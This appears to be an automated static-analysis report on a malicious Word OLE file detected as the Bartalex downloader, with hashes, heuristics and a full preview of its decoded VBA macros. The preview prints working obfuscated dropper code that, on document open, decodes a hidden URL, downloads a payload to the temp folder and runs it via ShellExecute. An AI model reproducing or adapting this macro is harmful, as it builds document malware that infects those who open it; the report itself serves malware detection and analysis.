Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 09fec43d778fb7bb…

MALICIOUS

Office (OLE)

56.0 KB Created: 2015-06-23 04:55:00 Authoring application: Microsoft Office Word First seen: 2015-09-17
MD5: 1fa461df570ba21920634f377519c170 SHA-1: f901243faaed3f65a63c6356e73f7683e0b21093 SHA-256: 09fec43d778fb7bb24f2a9953214cb64373c77c9c90f018eced5f8b246692787
258 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample contains VBA macros that leverage the URLDownloadToFile API to download a second-stage payload. The presence of the URLDownloadToFile API and the 'OLE_VBA_DOWNLOAD' heuristic strongly indicate this malicious behavior. The ClamAV detection 'Doc.Downloader.Bartalex-6755229-0' further supports the classification as a downloader.

Heuristics 8

  • ClamAV: Doc.Downloader.Bartalex-6755229-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Bartalex-6755229-0
  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    Private Declare PtrSafe Function æâëÿêéæêœàêçèûœéèÿèêîêàæçæéôûÿïûûâæçâïûôêàâëàâèéà眜éêôçïæîàëàçâêæïçëïëôàèëëôæàîîéêœüôèçççéàæéîæâêçé Lib "urlmon" Alias "URLDownloadToFileA" (ByVal âîæœôèæïèæêîééàâïœÿïüëÿéïééæëêüïœüûàèèûûàëâôÿîôâçàîïïïîèçèÿêæëïîêüëâœôêûôëœÿîîèâîâéïçïéèüîïëûœçîâçæè As Long, ByVal êôâæèëêÿéîàêéâôüüûÿîëôçëëœüüœçïè✜æôûâéôÿôêÿèèüïüîôæôüœæâëÿêéæêœàêçèûœéèÿèêîêàæçæéôûÿïûûâæçâïûôêàâë As String, ByVal àâèéà眜éêôçïæîàëàçâêæïçëïëôàèëëôæàîîéêœüôèçççéàæéîæâêçéâîæœôèæïèæêîééàâïœÿïüëÿéïééæë …
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    æâëÿêéæêœàêçèûœéèÿèêîêàæçæéôûÿïûûâæçâïûôêàâëàâèéà眜éêôçïæîàëàçâêæïçëïëôàèëëôæàîîéêœüôèçççéàæéîæâêçé 0, éîàêéâôüüûÿîëôçëëœüüœçïè✜æôûâéôÿôêÿèèüïüîôæôüœæâëÿêéæêœàêçèûœéèÿèêîêàæçæéôûÿïûûâæçâïûôêàâëàâèéà眜("ܼÍwᶻ€­Þ³Ø¼Çª’Ĉ޷Às×ÀØ©¾Ü´®´ÈÁ¹¾ÈÇè·ååÜsv�âç·´", "wDhItJNQHhJpYUIeTKYjRRErRoBPwOAEeSPJcYvRqwsDGVrsCLGkASnGAqVffdiTMTyKKZehYxMFpWZuWbpzUiUHjEDgNfQUuUgZ"), Environ("temp") & éîàêéâôüüûÿîëôçëëœüüœçïè✜æôûâéôÿôêÿèèüïüîôæôüœæâëÿêéæêœàêçèûœéèÿèêîêàæçæéôûÿïûûâæçâïûôêàâëàâèéà眜("ܼÍw¦}ƺ®à°×ɾ", …
  • Reference to ShellExecute API high SC_STR_SHELLEXEC
    Reference to ShellExecute API
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12013 bytes
SHA-256: cd6bbf65d9ad6ae73d6847bc70e5034062112975a2ee65e86052735882cd3816
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Declare PtrSafe Function œôæïàüûàèîâûàêèüÿïÿâçàîûûœüèëîæêêœûûôæëèàôôâôœàÿîüèèüàéûçûéîâîûœâœçüâçæèôÿâæéœôçéüàêïèÿüüûÿîœü眜àûü Lib "shell32.dll" Alias "ShellExecuteA" (ByVal ççéàæéîæâêçéâîæœôèæïèæêîééàâïœÿïüëÿéïééæëêüïœüûàèèûûàëâôÿîôâçàîïïïîèçèÿêæëïîêüëâœôêûôëœÿîîèâîâéïçïéè As Long, ByVal üîïëûœçîâçæèêôâæèëêÿéîàêéâôüüûÿîëôçëëœüüœçïè✜æôûâéôÿôêÿèèüïüîôæôüœæâëÿêéæêœàêçèûœéèÿèêîêàæçæéôûÿïû As String, ByVal ûâæçâïûôêàâëàâèéà眜éêôçïæîàëàçâêæïçëïëôàèëëôæàîîéêœüôèçççéàæéîæâêçéâîæœôèæïèæêîééàâïœÿïüëÿéïééæëêüï As String, ByVal œüûàèèûûàëâôÿîôâçàîïïïîèçèÿêæëïîêüëâœôêûôëœÿîîèâîâéïçïéèüîïëûœçîâçæèêôâæèëêÿéîàêéâôüüûÿîëôçëëœüüœçïè As String, ByVal ✜æôûâéôÿôêÿèèüïüîôæôüœæâëÿêéæêœàêçèûœéèÿèêîêàæçæéôûÿïûûâæçâïûôêàâëàâèéà眜éêôçïæîàëàçâêæïçëïëôàèëë As String, ByVal ôæàîîéêœüôèçççéàæéîæâêçéâîæœôèæïèæêîééàâïœÿïüëÿéïééæëêüïœüûàèèûûàëâôÿîôâçàîïïïîèçèÿêæëïîêüëâœôêûôëœÿ As Long) As Long
Private Declare PtrSafe Function æâëÿêéæêœàêçèûœéèÿèêîêàæçæéôûÿïûûâæçâïûôêàâëàâèéà眜éêôçïæîàëàçâêæïçëïëôàèëëôæàîîéêœüôèçççéàæéîæâêçé Lib "urlmon" Alias "URLDownloadToFileA" (ByVal âîæœôèæïèæêîééàâïœÿïüëÿéïééæëêüïœüûàèèûûàëâôÿîôâçàîïïïîèçèÿêæëïîêüëâœôêûôëœÿîîèâîâéïçïéèüîïëûœçîâçæè As Long, ByVal êôâæèëêÿéîàêéâôüüûÿîëôçëëœüüœçïè✜æôûâéôÿôêÿèèüïüîôæôüœæâëÿêéæêœàêçèûœéèÿèêîêàæçæéôûÿïûûâæçâïûôêàâë As String, ByVal àâèéà眜éêôçïæîàëàçâêæïçëïëôàèëëôæàîîéêœüôèçççéàæéîæâêçéâîæœôèæïèæêîééàâïœÿïüëÿéïééæëêüïœüûàèèûûàëâô As String, ByVal ÿîôâçàîïïïîèçèÿêæëïîêüëâœôêûôëœÿîîèâîâéïçïéèüîïëûœçîâçæèêôâæèëêÿéîàêéâôüüûÿîëôçëëœüüœçïè✜æôûâéôÿôê As Long, ByVal ÿèèüïüîôæôüœæâëÿêéæêœàêçèûœéèÿèêîêàæçæéôûÿïûûâæçâïûôêàâëàâèéà眜éêôçïæîàëàçâêæïçëïëôàèëëôæàîîéêœüôèç As Long) As Long
Private Sub àüôâüôÿæûûîèüéïûêœëîâüûôààêûèêèïîÿèèïœîçëüéîëéÿâââæüœüëôôàâæÿëœîéÿàêÿàéëüæüîæîïæœâûüêüæàèéœæîëêîÿçôê()
æâëÿêéæêœàêçèûœéèÿèêîêàæçæéôûÿïûûâæçâïûôêàâëàâèéà眜éêôçïæîàëàçâêæïçëïëôàèëëôæàîîéêœüôèçççéàæéîæâêçé 0, éîàêéâôüüûÿîëôçëëœüüœçïè✜æôûâéôÿôêÿèèüïüîôæôüœæâëÿêéæêœàêçèûœéèÿèêîêàæçæéôûÿïûûâæçâïûôêàâëàâèéà眜("ܼÍwᶻ€­Þ³Ø¼Çª’Ĉ޷Às×ÀØ©¾Ü´®´ÈÁ¹¾ÈÇè·ååÜsv�âç·´", "wDhItJNQHhJpYUIeTKYjRRErRoBPwOAEeSPJcYvRqwsDGVrsCLGkASnGAqVffdiTMTyKKZehYxMFpWZuWbpzUiUHjEDgNfQUuUgZ"), Environ("temp") & éîàêéâôüüûÿîëôçëëœüüœçïè✜æôûâéôÿôêÿèèüïüîôæôüœæâëÿêéæêœàêçèûœéèÿèêîêàæçæéôûÿïûûâæçâïûôêàâëàâèéà眜("ܼÍw¦}ƺ®à°×ɾ", "wDhItJNQHhJpYUIeTKYjRRErRoBPwOAEeSPJcYvRqwsDGVrsCLGkASnGAqVffdiTMTyKKZehYxMFpWZuWbpzUiUHjEDgNfQUuUgZ"), 0, 0
œôæïàüûàèîâûàêèüÿïÿâçàîûûœüèëîæêêœûûôæëèàôôâôœàÿîüèèüàéûçûéîâîûœâœçüâçæèôÿâæéœôçéüàêïèÿüüûÿîœü眜àûü 0, "open", Environ$("tmp") & éîàêéâôüüûÿîëôçëëœüüœçïè✜æôûâéôÿôêÿèèüïüîôæôüœæâëÿêéæêœàêçèûœéèÿèêîêàæçæéôûÿïûûâæçâïûôêàâëàâèéà眜("ܼÍw¦}ƺ®à°×ɾ", "wDhItJNQHhJpYUIeTKYjRRErRoBPwOAEeSPJcYvRqwsDGVrsCLGkASnGAqVffdiTMTyKKZehYxMFpWZuWbpzUiUHjEDgNfQUuUgZ"), "", vbNullString, vbNormalFocus
End Sub
Private Sub Document_Open()

àüôâüôÿæûûîèüéïûêœëîâüûôààêûèêèïîÿèèïœîçëüéîëéÿâââæüœüëôôàâæÿëœîéÿàêÿàéëüæüîæîïæœâûüêüæàèéœæîëêîÿçôê
End Sub
Function éîàêéâôüüûÿîëôçëëœüüœçïè✜æôûâéôÿôêÿèèüïüîôæôüœæâëÿêéæêœàêçèûœéèÿèêîêàæçæéôûÿïûûâæçâïûôêàâëàâèéà眜(éêôçïæîàëàçâêæïçëïëôàèëëôæàîîéêœüôèçççéàæéîæâêçéâîæœôèæïèæêîééàâïœÿïüëÿéïééæëêüïœüûàèèûûàëâôÿîôâçàîï, ïïîèçèÿêæëïîêüëâœôêûôëœÿîîèâîâéïçïéèüîïëûœçîâçæèêôâæèëêÿéîàêéâôüüûÿîëôçëëœüüœçïè✜æôûâéôÿôêÿèèüïüîô)
 Dim æôüœæâëÿêéæêœàêçèûœéèÿèêîêàæçæéôûÿïûûâæçâïûôêàâëàâèéà眜éêôçïæîàëàçâêæïçëïëôàèëëôæàîîéêœüôèçççéàæéîæ, âêçéâîæœôèæïèæêîééàâïœÿïüëÿéïééæëêüïœüûàèèûûàëâôÿîôâçàîïïïîèçèÿêæëïîêüëâœôêûôëœÿîîèâîâéïçïéèüîïëûœçî, âçæèêôâæèëêÿéîàêéâôüüûÿîëôçëëœüüœçïè✜æôûâéôÿôêÿèèüïüîôæôüœæâëÿêéæêœàêçèûœéèÿèêîêàæçæéôûÿïûûâæçâïûô, êàâëàâèéà眜éêôçïæîàëàçâêæïçëïëôàèëëôæàîîéêœüôèçççéàæéîæâêçéâîæœôèæïèæêîééàâïœÿïüëÿéïééæëêüïœüûàèèûû, àëâôÿîôâçàîïïïîèçèÿêæëïîêüëâœôêûôëœÿîîèâîâéïçïéèüîïëûœçîâçæèêôâæèëêÿéîàêéâôüüûÿîëôçëëœüüœçïè✜æôûâé
 æôüœæâëÿêéæêœàêçèûœéèÿèêîêàæçæéôûÿïûûâæçâïûôêàâëàâèéà眜éêôçïæîàëàçâêæïçëïëôàèëëôæàîîéêœüôèçççéàæéîæ = Len(ïïîèçèÿêæëïîêüëâœôêûôëœÿîîèâîâéïçïéèüîïëûœçîâçæèêôâæèëêÿéîàêéâôüüûÿîëôçëëœüüœçïè✜æôûâéôÿôêÿèèüïüîô)
 âêçéâîæœôèæïèæêîééàâïœÿïüëÿéïééæëêüïœüûàèèûûàëâôÿîôâçàîïïïîèçèÿêæëïîêüëâœôêûôëœÿîîèâîâéïçïéèüîïëûœçî = 1
 âçæèêôâæèëêÿéîàêéâôüüûÿîëôçëëœüüœçïè✜æôûâéôÿôêÿèèüïüîôæôüœæâëÿêéæêœàêçèûœéèÿèêîêàæçæéôûÿïûûâæçâïûô = Len(éêôçïæîàëàçâêæïçëïëôàèëëôæàîîéêœüôèçççéàæéîæâêçéâîæœôèæïèæêîééàâïœÿïüëÿéïééæëêüïœüûàèèûûàëâôÿîôâçàîï)
éêôçïæîàëàçâêæïçëïëôàèëëôæàîîéêœüôèçççéàæéîæâêçéâîæœôèæïèæêîééàâïœÿïüëÿéïééæëêüïœüûàèèûûàëâôÿîôâçàîï = StrReverse(éêôçïæîàëàçâêæïçëïëôàèëëôæàîîéêœüôèçççéàæéîæâêçéâîæœôèæïèæêîééàâïœÿïüëÿéïééæëêüïœüûàèèûûàëâôÿîôâçàîï)
 For êàâëàâèéà眜éêôçïæîàëàçâêæïçëïëôàèëëôæàîîéêœüôèçççéàæéîæâêçéâîæœôèæïèæêîééàâïœÿïüëÿéïééæëêüïœüûàèèûû = âçæèêôâæèëêÿéîàêéâôüüûÿîëôçëëœüüœçïè✜æôûâéôÿôêÿèèüïüîôæôüœæâëÿêéæêœàêçèûœéèÿèêîêàæçæéôûÿïûûâæçâïûô To 1 Step -1
      àëâôÿîôâçàîïïïîèçèÿêæëïîêüëâœôêûôëœÿîîèâîâéïçïéèüîïëûœçîâçæèêôâæèëêÿéîàêéâôüüûÿîëôçëëœüüœçïè✜æôûâé = àëâôÿîôâçàîïïïîèçèÿêæëïîêüëâœôêûôëœÿîîèâîâéïçïéèüîïëûœçîâçæèêôâæèëêÿéîàêéâôüüûÿîëôçëëœüüœçïè✜æôûâé & Chr(Asc(Mid(éêôçïæîàëàçâêæïçëïëôàèëëôæàîîéêœüôèçççéàæéîæâêçéâîæœôèæïèæêîééàâïœÿïüëÿéïééæëêüïœüûàèèûûàëâôÿîôâçàîï, êàâëàâèéà眜éêôçïæîàëàçâêæïçëïëôàèëëôæàîîéêœüôèçççéàæéîæâêçéâîæœôèæïèæêîééàâïœÿïüëÿéïééæëêüïœüûàèèûû, 1)) - Asc(Mid(ïïîèçèÿêæëïîêüëâœôêûôëœÿîîèâîâéïçïéèüîïëûœçîâçæèêôâæèëêÿéîàêéâôüüûÿîëôçëëœüüœçïè✜æôûâéôÿôêÿèèüïüîô, âêçéâîæœôèæïèæêîééàâïœÿïüëÿéïééæëêüïœüûàèèûûàëâôÿîôâçàîïïïîèçèÿêæëïîêüëâœôêûôëœÿîîèâîâéïçïéèüîïëûœçî, 1)))
      âêçéâîæœôèæïèæêîééàâïœÿïüëÿéïééæëêüïœüûàèèûûàëâôÿîôâçàîïïïîèçèÿêæëïîêüëâœôêûôëœÿîîèâîâéïçïéèüîïëûœçî = âêçéâîæœôèæïèæêîééàâïœÿïüëÿéïééæëêüïœüûàèèûûàëâôÿîôâçàîïïïîèçèÿêæëïîêüëâœôêûôëœÿîîèâîâéïçïéèüîïëûœçî + 1
      If âêçéâîæœôèæïèæêîééàâïœÿïüëÿéïééæëêüïœüûàèèûûàëâôÿîôâçàîïïïîèçèÿêæëïîêüëâœôêûôëœÿîîèâîâéïçïéèüîïëûœçî > æôüœæâëÿêéæêœàêçèûœéèÿèêîêàæçæéôûÿïûûâæçâïûôêàâëàâèéà眜éêôçïæîàëàçâêæïçëïëôàèëëôæàîîéêœüôèçççéàæéîæ Then âêçéâîæœôèæïèæêîééàâïœÿïüëÿéïééæëêüïœüûàèèûûàëâôÿîôâçàîïïïîèçèÿêæëïîêüëâœôêûôëœÿîîèâîâéïçïéèüîïëûœçî = 1
      Next
      àëâôÿîôâçàîïïïîèçèÿêæëïîêüëâœôêûôëœÿîîèâîâéïçïéèüîïëûœçîâçæèêôâæèëêÿéîàêéâôüüûÿîëôçëëœüüœçïè✜æôûâé = StrReverse(àëâôÿîôâçàîïïïîèçèÿêæëïîêüëâœôêûôëœÿîîèâîâéïçïéèüîïëûœçîâçæèêôâæèëêÿéîàêéâôüüûÿîëôçëëœüüœçïè✜æôûâé)
      éîàêéâôüüûÿîëôçëëœüüœçïè✜æôûâéôÿôêÿèèüïüîôæôüœæâëÿêéæêœàêçèûœéèÿèêîêàæçæéôûÿïûûâæçâïûôêàâëàâèéà眜 = àëâôÿîôâçàîïïïîèçèÿêæëïîêüëâœôêûôëœÿîîèâîâéïçïéèüîïëûœçîâçæèêôâæèëêÿéîàêéâôüüûÿîëôçëëœüüœçïè✜æôûâé
End Function

Attribute VB_Name = "NewMacros"
Sub dfghj()
'
' dfghj Macro
'
'

End Sub

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